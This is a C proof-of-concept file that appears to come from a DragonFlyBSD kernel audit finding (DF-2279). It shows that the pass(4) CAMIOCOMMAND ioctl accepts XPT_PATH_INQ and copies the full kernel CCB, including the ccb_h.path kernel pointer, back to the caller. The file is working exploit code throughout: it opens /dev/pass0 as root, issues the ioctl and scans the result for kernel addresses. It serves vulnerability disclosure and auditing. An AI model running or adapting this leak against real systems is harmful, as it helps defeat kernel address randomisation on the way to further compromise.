⬢ DragonFlyBSD Kernel Audit
DF-2279 / pass_xpt.c
← back to finding ↓ download raw
/* DF-2279: pass(4) CAMIOCOMMAND rejects only XPT_FC_XPT_ONLY codes; other
 * kernel-internal XPT function codes (here XPT_PATH_INQ, which is neither
 * queued nor XPT-only) are executed against kernel-only objects, and
 * passsendccb then bcopy()s the ENTIRE kernel union ccb -- including the
 * ccb_h.path kernel pointer installed by xpt_setup_ccb -- back to user.
 * Demonstrated as root (pass0 is 0600 root:operator). */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
/* scsi_pass.h is kernel-side; mirror its definition:
 * #define CAMIOCOMMAND _IOWR(CAM_VERSION, 2, union ccb) */
#define CAMIOCOMMAND _IOWR(CAM_VERSION, 2, union ccb)

union bigccb { union ccb c; char pad[2048]; };

int main(void)
{
	union bigccb u;
	int fd, i, rc;

	fd = open("/dev/pass0", O_RDWR);
	if (fd < 0) { printf("[-] open /dev/pass0: %s\n", strerror(errno)); return 1; }

	memset(&u, 0, sizeof(u));
	u.c.ccb_h.func_code = XPT_PATH_INQ;
	u.c.ccb_h.flags = CAM_DIR_NONE;

	rc = ioctl(fd, CAMIOCOMMAND, &u);
	printf("[*] CAMIOCOMMAND XPT_PATH_INQ: rc=%d errno=%d (%s) ccb status %#x\n",
	    rc, rc ? errno : 0, rc ? strerror(errno) : "ok", u.c.ccb_h.status);
	if (rc) { close(fd); return 1; }

	printf("[*] kernel-side ccb_h.path returned to userspace: %p\n",
	    u.c.ccb_h.path);
	printf("[*] scanning returned CCB for canonical kernel pointers:\n");
	{
		long *p = (long *)&u;
		for (i = 0; i < 96; i++) {
			if ((unsigned long)p[i] >= 0xffff800000000000UL) {
				printf("    offset %3ld (0x%04lx): 0x%016lx\n",
				    (long)(i * sizeof(long)), (long)(i * sizeof(long)),
				    (unsigned long)p[i]);
			}
		}
	}
	printf("[%c] kernel pointer(s) disclosed to a privileged CAMIOCOMMAND caller\n",
	    ((unsigned long)u.c.ccb_h.path >= 0xffff800000000000UL) ? '+' : '-');
	close(fd);
	return 0;
}